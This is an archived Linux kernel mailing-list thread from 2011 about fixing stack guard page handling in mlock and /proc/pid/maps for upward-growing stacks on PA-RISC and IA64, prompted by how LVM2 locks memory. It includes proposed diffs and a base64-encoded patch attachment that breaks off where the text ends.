X-Trace: dough.gmane.org 1304941486 17374 80.91.229.12 (9 May 2011 11:44:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 11:44:46 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Hugh Dickins <hughd@google.com>,
	Oleg Nesterov <oleg@redhat.com>, agk@redhat.com
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 09 13:44:41 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJOtE-0006js-Vw
	for glpp-linux-parisc@lo.gmane.org; Mon, 09 May 2011 13:44:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752400Ab1EILok (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 May 2011 07:44:40 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:38886 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752338Ab1EILoj (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 May 2011 07:44:39 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id p49Bi0Dm011561
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Mon, 9 May 2011 07:44:00 -0400
Original-Received: from [10.34.27.192] (dhcp-27-192.brq.redhat.com [10.34.27.192])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id p49Bhwk6025816;
	Mon, 9 May 2011 07:43:58 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.1.10-1.fc16 Lightning/1.0b3pre Thunderbird/3.1.10
In-Reply-To: <alpine.DEB.2.00.1105091246550.32299@artax.karlin.mff.cuni.cz>
X-Enigmail-Version: 1.1.2
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3702 gmane.linux.kernel:1137312
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3702>

Dne 9.5.2011 13:01, Mikulas Patocka napsal(a):
> 
> 
> On Sun, 8 May 2011, Linus Torvalds wrote:
> 
>> On Sun, May 8, 2011 at 11:55 AM, Mikulas Patocka
>> <mikulas@artax.karlin.mff.cuni.cz> wrote:
>>>
>>> This patch fixes lvm2 on PA-RISC (and possibly other architectures with
>>> up-growing stack). lvm2 calculates the number of used pages when locking
>>> and when unlocking and reports an internal error if the numbers mismatch.
>>
>> This patch won't apply on current kernels (including stable) because
>> of commit a1fde08c74e9 that changed the test of "pages" to instead
>> just test "flags & FOLL_MLOCK".
>>
>> That should be trivial to fix up.
>>
>> However, I really don't much like this complex test:
>>
>>>  static inline int stack_guard_page(struct vm_area_struct *vma, unsigned long addr)
>>>  {
>>> -       return (vma->vm_flags & VM_GROWSDOWN) &&
>>> +       return ((vma->vm_flags & VM_GROWSDOWN) &&
>>>                (vma->vm_start == addr) &&
>>> -               !vma_stack_continue(vma->vm_prev, addr);
>>> +               !vma_stack_continue(vma->vm_prev, addr)) ||
>>> +              ((vma->vm_flags & VM_GROWSUP) &&
>>> +               (vma->vm_end == addr + PAGE_SIZE) &&
>>> +               !vma_stack_growsup_continue(vma->vm_next, addr + PAGE_SIZE));
>>>  }
>>
>> in that format. It gets really hard to read, and I think you'd be
>> better off writing it as two helper functions (or macros) for the two
>> cases, and then have
>>
>>   static inline int stack_guard_page(struct vm_area_struct *vma,
>> unsigned long addr)
>>   {
>>     return stack_guard_page_growsdown(vma, addr) ||
>>       stack_guard_page_growsup(vma, addr);
>>   }
>>
>> I'd also like to verify that it doesn't actually generate any extra
>> code for the common case (iirc VM_GROWSUP is 0 for the architectures
>> that don't need it, and so the compiler shouldn't generate any extra
>> code, but I'd like that mentioned and verified explicitly).
>>
>> Hmm?
>>
>> Other than that it looks ok to me.
>>
>> That said, could we please fix LVM to not do that crazy sh*t in the
>> first place? The STACK_GROWSUP case is never going to have a lot of
>> testing, this is just sad.
> 
> LVM reads process maps from /proc/self/maps and locks them with mlock.
> 
> Why it doesn't use mlockall()? Because glibc maps all locales to the 
> process. Glibc packs all locales to a 100MB file and maps that file to 
> every process. Even if the process uses just one locale, glibc maps all.
> 
> So, when LVM used mlockall, it consumed >100MB memory and it caused 
> out-of-memory problems in system installers.
> 
> So, alternate way of locking was added to LVM --- read all maps and lock 
> them, except for the glibc locale file.
> 
> The real fix would be to fix glibc not to map 100MB to every process.
> 

I should add here probably few words.

Glibc knows few more ways around - so it could work only with one locale file
per language, or even without using mmap and allocating them in memory.
Depends on the distribution usually - Fedora decided to combine all locales
into one huge file (>100MB) - Ubuntu/Debian mmaps each locales individually
(usually ~MB)

LVM support both ways - either user may select in lvm.conf to always use
mlockall, or he may switch to use mlock mapping of individual memory areas
where those memory parts, that cannot be executed during suspend state and
cannot cause memory deadlock, are not locked into memory. As a 'bonus' it's
internally used for tracking algorithmic bugs.

Zdenek
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 9 May 2011 08:57:56 -0700
Lines: 62
Approved: news@gmane.org
Message-ID: <BANLkTinCUQSjjif3op3H_9HDm5Eu-o+Luw@mail.gmail.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
 <alpine.LSU.2.00.1105081303540.16151@sister.anvils> <alpine.DEB.2.00.1105091307570.32299@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1304956707 13636 80.91.229.12 (9 May 2011 15:58:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 15:58:27 +0000 (UTC)
Cc: Hugh Dickins <hughd@google.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	Michel Lespinasse <walken@google.com>,
	Oleg Nesterov <oleg@redhat.com>
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 09 17:58:21 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJSqi-0004v7-H8
	for glpp-linux-parisc@lo.gmane.org; Mon, 09 May 2011 17:58:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752697Ab1EIP6U (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 May 2011 11:58:20 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:40022 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752319Ab1EIP6T (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 May 2011 11:58:19 -0400
Original-Received: from mail-vx0-f174.google.com (mail-vx0-f174.google.com [209.85.220.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p49FwHxY029672
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=FAIL);
	Mon, 9 May 2011 08:58:18 -0700
Original-Received: by vxi39 with SMTP id 39so5874538vxi.19
        for <multiple recipients>; Mon, 09 May 2011 08:58:16 -0700 (PDT)
Original-Received: by 10.52.176.68 with SMTP id cg4mr3274247vdc.300.1304956696305; Mon,
 09 May 2011 08:58:16 -0700 (PDT)
Original-Received: by 10.52.111.74 with HTTP; Mon, 9 May 2011 08:57:56 -0700 (PDT)
In-Reply-To: <alpine.DEB.2.00.1105091307570.32299@artax.karlin.mff.cuni.cz>
X-Spam-Status: No, hits=-104.968 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL,USER_IN_WHITELIST
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3703 gmane.linux.kernel:1137401
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3703>

On Mon, May 9, 2011 at 4:12 AM, Mikulas Patocka
<mikulas@artax.karlin.mff.cuni.cz> wrote:
>
> See ./lib/mm/memlock.c in LVM2. It reads /proc/self/maps, parses the file
> and locks each map with mlock, except for glibc locale file.

Hmm. One thing that strikes me is this problem also implies that the
/proc/self/maps file is wrong for the GROWSUP case, isn't it?

So I think we should not just apply your lock fix, but then *also*
apply something like this:

    diff --git a/fs/proc/task_mmu.c b/fs/proc/task_mmu.c
    index 2e7addfd9803..080980880c7f 100644
    --- a/fs/proc/task_mmu.c
    +++ b/fs/proc/task_mmu.c
    @@ -214,7 +214,7 @@ static void show_map_vma(struct seq_file *m,
struct vm_area_struct *vma)
     	int flags = vma->vm_flags;
     	unsigned long ino = 0;
     	unsigned long long pgoff = 0;
    -	unsigned long start;
    +	unsigned long start, end;
     	dev_t dev = 0;
     	int len;

    @@ -227,13 +227,16 @@ static void show_map_vma(struct seq_file *m,
struct vm_area_struct *vma)

     	/* We don't show the stack guard page in /proc/maps */
     	start = vma->vm_start;
    -	if (vma->vm_flags & VM_GROWSDOWN)
    -		if (!vma_stack_continue(vma->vm_prev, vma->vm_start))
    -			start += PAGE_SIZE;
    +	if (stack_guard_page_growsdown(vma, start))
    +		start += PAGE_SIZE;
    +	end = vma->vm_end;
    +	if (stack_guard_page_growsup(vma, end))
    +		end -= PAGE_SIZE;
    +

     	seq_printf(m, "%08lx-%08lx %c%c%c%c %08llx %02x:%02x %lu %n",
     			start,
    -			vma->vm_end,
    +			end,
     			flags & VM_READ ? 'r' : '-',
     			flags & VM_WRITE ? 'w' : '-',
     			flags & VM_EXEC ? 'x' : '-',

NOTE! The above actually assumes that your
"stack_guard_page_growsup()" has been changed to actually take the
"next page" value, which I think makes more sense (ie it's the "end of
stack", the same way "stack_guard_page_growsdown()" address is).

Hmm? I don't have any growsup machine to test with, can you do that?

                        Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alasdair G Kergon <agk@redhat.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 9 May 2011 22:08:41 +0100
Organization: Red Hat UK Ltd. Registered in England and Wales, number
	03798903. Registered Office: Amberley Place, 107-111 Peascod
	Street, Windsor, Berkshire, SL4 1TE.
Lines: 26
Approved: news@gmane.org
Message-ID: <20110509210841.GB9253@agk-dp.fab.redhat.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz> <BANLkTikEpaRZK3X4YReeQAwgcv3HAGUwSw@mail.gmail.com> <alpine.DEB.2.00.1105091246550.32299@artax.karlin.mff.cuni.cz> <4DC7D37F.9040308@redhat.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1304975350 31759 80.91.229.12 (9 May 2011 21:09:10 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 21:09:10 +0000 (UTC)
To: Zdenek Kabelac <zkabelac@redhat.com>,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vg
Original-X-From: linux-parisc-owner@vger.kernel.org Mon May 09 23:09:05 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QJXhQ-0004zC-QD
	for glpp-linux-parisc@lo.gmane.org; Mon, 09 May 2011 23:09:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752978Ab1EIVJD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 9 May 2011 17:09:03 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:21931 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753002Ab1EIVJC (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 9 May 2011 17:09:02 -0400
Original-Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id p49L8htm031739
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Mon, 9 May 2011 17:08:43 -0400
Original-Received: from agk-dp.fab.redhat.com (agk-dp.fab.redhat.com [10.33.0.20])
	by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id p49L8gXm031244
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Mon, 9 May 2011 17:08:43 -0400
Original-Received: from agk by agk-dp.fab.redhat.com with local (Exim 4.69)
	(envelope-from <agk@agk-dp.fab.redhat.com>)
	id 1QJXh4-0008Qk-1b; Mon, 09 May 2011 22:08:42 +0100
Mail-Followup-To: Alasdair G Kergon <agk@redhat.com>,
	Zdenek Kabelac <zkabelac@redhat.com>,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Hugh Dickins <hughd@google.com>, Oleg Nesterov <oleg@redhat.com>
Content-Disposition: inline
In-Reply-To: <4DC7D37F.9040308@redhat.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3704 gmane.linux.kernel:1137523
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3704>

On Mon, May 09, 2011 at 01:43:59PM +0200, Zdenek Kabelac wrote:
> Dne 9.5.2011 13:01, Mikulas Patocka napsal(a):
> > So, when LVM used mlockall, it consumed >100MB memory and it caused 
> > out-of-memory problems in system installers.

The way glibc and some distros have implemented locales makes mlockall()
quite useless for many purposes now in practice IMHO.  We discussed the
options at the time and wrote the extra code to implement the only
solution we were offered.

(1) There was no possibility of some distros not using a single locale
database (reasons: optimisation and packaging convenience);
(2) there was no possibility of glibc providing a mechanism to unmap the
locale database (if you reset your locale to the default glibc will not
unmap the file and indeed doesn't rule out doing something similar with
other files in future - these are glibc internals and it's none of our
business).

Alasdair


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH] Don't mlock guardpage if the stack is growing up
Date: Mon, 9 May 2011 15:07:41 -0700
Lines: 141
Approved: news@gmane.org
Message-ID: <BANLkTim3kKJkisZK1mOgKhsEEs7FzZmyXA@mail.gmail.com>
References: <alpine.DEB.2.00.1105082045250.15552@artax.karlin.mff.cuni.cz>
 <alpine.LSU.2.00.1105081303540.16151@sister.anvils> <alpine.DEB.2.00.1105091307570.32299@artax.karlin.mff.cuni.cz>
 <BANLkTinCUQSjjif3op3H_9HDm5Eu-o+Luw@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary=0016e6d58af1b884e304a2df1234
X-Trace: dough.gmane.org 1304979367 22413 80.91.229.12 (9 May 2011 22:16:07 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 9 May 2011 22:16:07 +0000 (UTC)
Cc: Hugh Dickins <hughd@google.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org,
	Michel Lespinasse <walken@google.com>,
	Oleg Nesterov <oleg@redhat.com>, linux-ia64@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Tue May 10 00:16:02 2011
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1QJYkD-0002BY-LU
	for glpi-linux-ia64-2@lo.gmane.org; Tue, 10 May 2011 00:16:02 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752455Ab1EIWP7 (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
	Mon, 9 May 2011 18:15:59 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:50390 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750997Ab1EIWP6 (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Mon, 9 May 2011 18:15:58 -0400
Original-Received: from mail-ew0-f46.google.com (mail-ew0-f46.google.com [209.85.215.46])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p49MFS1Z002987
	(version=TLSv1/SSLv3 cipher=RC4-SHA bits=128 verify=FAIL);
	Mon, 9 May 2011 15:15:29 -0700
Original-Received: by ewy4 with SMTP id 4so1674562ewy.19
        for <multiple recipients>; Mon, 09 May 2011 15:15:25 -0700 (PDT)
Original-Received: by 10.14.13.66 with SMTP id a42mr3562262eea.193.1304978882331; Mon,
 09 May 2011 15:08:02 -0700 (PDT)
Original-Received: by 10.14.127.144 with HTTP; Mon, 9 May 2011 15:07:41 -0700 (PDT)
In-Reply-To: <BANLkTinCUQSjjif3op3H_9HDm5Eu-o+Luw@mail.gmail.com>
X-Spam-Status: No, hits=-104.97 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL,USER_IN_WHITELIST
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:21646 gmane.linux.kernel:1137666 gmane.linux.ports.parisc:3705
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/21646>

--0016e6d58af1b884e304a2df1234
Content-Type: text/plain; charset=ISO-8859-1

On Mon, May 9, 2011 at 8:57 AM, Linus Torvalds
<torvalds@linux-foundation.org> wrote:
>
> Hmm. One thing that strikes me is this problem also implies that the
> /proc/self/maps file is wrong for the GROWSUP case, isn't it?
>
> So I think we should not just apply your lock fix, but then *also*
> apply something like this:

Actually, I think we might be better off with something like this.

It makes a few more changes:

 - move the stack guard page checking in __get_user_pages() into the
rare case (ie we didn't find a page), since that's the only case we
care about (the thing about the guard page is that don't want to call
"handle_mm_fault()"). As a result, it's off any path where we can
possibly care about performance, so we might as well have a nice
helper function for both the grow-up and grow-down cases, instead of
trying to be clever and only look at the grow-down case for the first
page in the vma like you did in your patch.

   End result: simpler, more straightforward code.

 - Move the growsup/down helper functions to <linux/mm.h>, since the
/proc code really wants to use them too. That means that the
"vma_stack_continue()" function (which now got split up into two
cases, for the up/down cases) is now entirely just an internal helper
function - nobody else uses it, and the real interface are the
"stack_guard_page_xyz()"  functions. Renamed to be simpler.

 - changed that naming of those stack_guard_page functions to use
_start and _end instead of growsup/growsdown, since it actually takes
the start or the end of the page as the argument (to match the
semantics of the afore-mentioned helpers)

 - and finally, make /proc/<pid>/maps use these helpers for both the
up/down case, so now /proc/self/maps should work well for the growsup
case too.

Hmm?

The only oddish case is IA64 that actually has a stack that grows
*both* up and down. That means that I could make up a stack mapping
that has a single virtual page in it, that is both the start *and* the
end page. Now /proc/self/maps would actually show such a mapping with
"negative" size. That's interesting.

It would be easy enough to have a "if (end < start) end = start" there
for that case, but maybe it's actually interesting information.

Regardless, I'd like to hear whether this patch really does work on
PA-RISC and especially IA64. I think those are the only cases that
have a GROWSUP stack. And the IA64 case that supports both is the most
interesting, everybody else does just one or the other.

                    Linus

--0016e6d58af1b884e304a2df1234
Content-Type: text/x-patch; charset=US-ASCII; name="patch.diff"
Content-Disposition: attachment; filename="patch.diff"
Content-Transfer-Encoding: base64
X-Attachment-Id: f_gnhyom1j0

IGZzL3Byb2MvdGFza19tbXUuYyB8ICAgMTIgKysrKysrKy0tLS0tCiBpbmNsdWRlL2xpbnV4L21t
LmggfCAgIDI0ICsrKysrKysrKysrKysrKysrKysrKysrLQogbW0vbWVtb3J5LmMgICAgICAgIHwg
ICAxNiArKysrKysrLS0tLS0tLS0tCiAzIGZpbGVzIGNoYW5nZWQsIDM3IGluc2VydGlvbnMoKyks
IDE1IGRlbGV0aW9ucygtKQoKZGlmZiAtLWdpdCBhL2ZzL3Byb2MvdGFza19tbXUuYyBiL2ZzL3By
b2MvdGFza19tbXUuYwppbmRleCAyZTdhZGRmZDk4MDMuLjMxOGQ4NjU0OTg5YiAxMDA2NDQKLS0t
IGEvZnMvcHJvYy90YXNrX21tdS5jCisrKyBiL2ZzL3Byb2MvdGFza19tbXUuYwpAQCAtMjE0LDcg
KzIxNCw3IEBAIHN0YXRpYyB2b2lkIHNob3dfbWFwX3ZtYShzdHJ1Y3Qgc2VxX2ZpbGUgKm0sIHN0
cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hKQogCWludCBmbGFncyA9IHZtYS0+dm1fZmxhZ3M7CiAJ
dW5zaWduZWQgbG9uZyBpbm8gPSAwOwogCXVuc2lnbmVkIGxvbmcgbG9uZyBwZ29mZiA9IDA7Ci0J
dW5zaWduZWQgbG9uZyBzdGFydDsKKwl1bnNpZ25lZCBsb25nIHN0YXJ0LCBlbmQ7CiAJZGV2X3Qg
ZGV2ID0gMDsKIAlpbnQgbGVuOwogCkBAIC0yMjcsMTMgKzIyNywxNSBAQCBzdGF0aWMgdm9pZCBz
aG93X21hcF92bWEoc3RydWN0IHNlcV9maWxlICptLCBzdHJ1Y3Qgdm1fYXJlYV9zdHJ1Y3QgKnZt
YSkKIAogCS8qIFdlIGRvbid0IHNob3cgdGhlIHN0YWNrIGd1YXJkIHBhZ2UgaW4gL3Byb2MvbWFw
cyAqLwogCXN0YXJ0ID0gdm1hLT52bV9zdGFydDsKLQlpZiAodm1hLT52bV9mbGFncyAmIFZNX0dS
T1dTRE9XTikKLQkJaWYgKCF2bWFfc3RhY2tfY29udGludWUodm1hLT52bV9wcmV2LCB2bWEtPnZt
X3N0YXJ0KSkKLQkJCXN0YXJ0ICs9IFBBR0VfU0laRTsKKwlpZiAoc3RhY2tfZ3VhcmRfcGFnZV9z
dGFydCh2bWEsIHN0YXJ0KSkKKwkJc3RhcnQgKz0gUEFHRV9TSVpFOworCWVuZCA9IHZtYS0+dm1f
ZW5kOworCWlmIChzdGFja19ndWFyZF9wYWdlX2VuZCh2bWEsIGVuZCkpCisJCWVuZCAtPSBQQUdF
X1NJWkU7CiAKIAlzZXFfcHJpbnRmKG0sICIlMDhseC0lMDhseCAlYyVjJWMlYyAlMDhsbHggJTAy
eDolMDJ4ICVsdSAlbiIsCiAJCQlzdGFydCwKLQkJCXZtYS0+dm1fZW5kLAorCQkJZW5kLAogCQkJ
ZmxhZ3MgJiBWTV9SRUFEID8gJ3InIDogJy0nLAogCQkJZmxhZ3MgJiBWTV9XUklURSA/ICd3JyA6
ICctJywKIAkJCWZsYWdzICYgVk1fRVhFQyA/ICd4JyA6ICctJywKZGlmZiAtLWdpdCBhL2luY2x1
ZGUvbGludXgvbW0uaCBiL2luY2x1ZGUvbGludXgvbW0uaAppbmRleCAyMzQ4ZGIyNmJjM2QuLjY1
MDdkZGUzOGIxNiAxMDA2NDQKLS0tIGEvaW5jbHVkZS9saW51eC9tbS5oCisrKyBiL2luY2x1ZGUv
bGludXgvbW0uaApAQCAtMTAxMSwxMSArMTAxMSwzMyBAQCBpbnQgc2V0X3BhZ2VfZGlydHlfbG9j
ayhzdHJ1Y3QgcGFnZSAqcGFnZSk7CiBpbnQgY2xlYXJfcGFnZV9kaXJ0eV9mb3JfaW8oc3RydWN0
IHBhZ2UgKnBhZ2UpOwogCiAvKiBJcyB0aGUgdm1hIGEgY29udGludWF0aW9uIG9mIHRoZSBzdGFj
ayB2bWEgYWJvdmUgaXQ/ICovCi1zdGF0aWMgaW5saW5lIGludCB2bWFfc3RhY2tfY29udGludWUo
c3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsIHVuc2lnbmVkIGxvbmcgYWRkcikKK3N0YXRpYyBp
bmxpbmUgaW50IHZtYV9ncm93c2Rvd24oc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsIHVuc2ln
bmVkIGxvbmcgYWRkcikKIHsKIAlyZXR1cm4gdm1hICYmICh2bWEtPnZtX2VuZCA9PSBhZGRyKSAm
JiAodm1hLT52bV9mbGFncyAmIFZNX0dST1dTRE9XTik7CiB9CiAKK3N0YXRpYyBpbmxpbmUgaW50
IHN0YWNrX2d1YXJkX3BhZ2Vfc3RhcnQoc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsCisJCQkJ
CSAgICAgdW5zaWduZWQgbG9uZyBhZGRyKQoreworCXJldHVybiAodm1hLT52bV9mbGFncyAmIFZN
X0dST1dTRE9XTikgJiYKKwkJKHZtYS0+dm1fc3RhcnQgPT0gYWRkcikgJiYKKwkJIXZtYV9ncm93
c2Rvd24odm1hLT52bV9wcmV2LCBhZGRyKTsKK30KKworLyogSXMgdGhlIHZtYSBhIGNvbnRpbnVh
dGlvbiBvZiB0aGUgc3RhY2sgdm1hIGJlbG93IGl0PyAqLworc3RhdGljIGlubGluZSBpbnQgdm1h
X2dyb3dzdXAoc3RydWN0IHZtX2FyZWFfc3RydWN0ICp2bWEsIHVuc2lnbmVkIGxvbmcgYWRkcikK
K3sKKwlyZXR1cm4gdm1hICYmICh2bWEtPnZtX3N0YXJ0ID09IGFkZHIpICYmICh2bWEtPnZtX2Zs
YWdzICYgVk1fR1JPV1NVUCk7Cit9CisKK3N0YXRpYyBpbmxpbmUgaW50IHN0YWNrX2d1YXJkX3Bh
Z2VfZW5kKHN0cnVjdCB2bV9hcmVhX3N0cnVjdCAqdm1hLAorCQkJCQkgICB1bnNpZ25lZCBsb25n
IGFkZHIpCit7CisJcmV0dXJuICh2bWEtPnZtX2ZsYWdzICYgVk1fR1JPV1NVUCkgJiYKKwkJKHZt
YS0+dm1fZW5kID09IGFkZHIpICYmCisJCSF2bWFfZ3Jvd3N1cCh2bWEtPnZtX25leHQsIGFkZHIp
OworfQorCiBleHRlcm4gdW5zaWduZWQgbG9uZyBtb3ZlX3BhZ2VfdGFibGVzKHN0cnVjdCB2bV9h
cmVhX3N0cnVjdCAqdm1hLAogCQl1bnNpZ25lZCBsb25nIG9sZF9hZGRyLCBzdHJ1Y3Qgdm1fYXJl
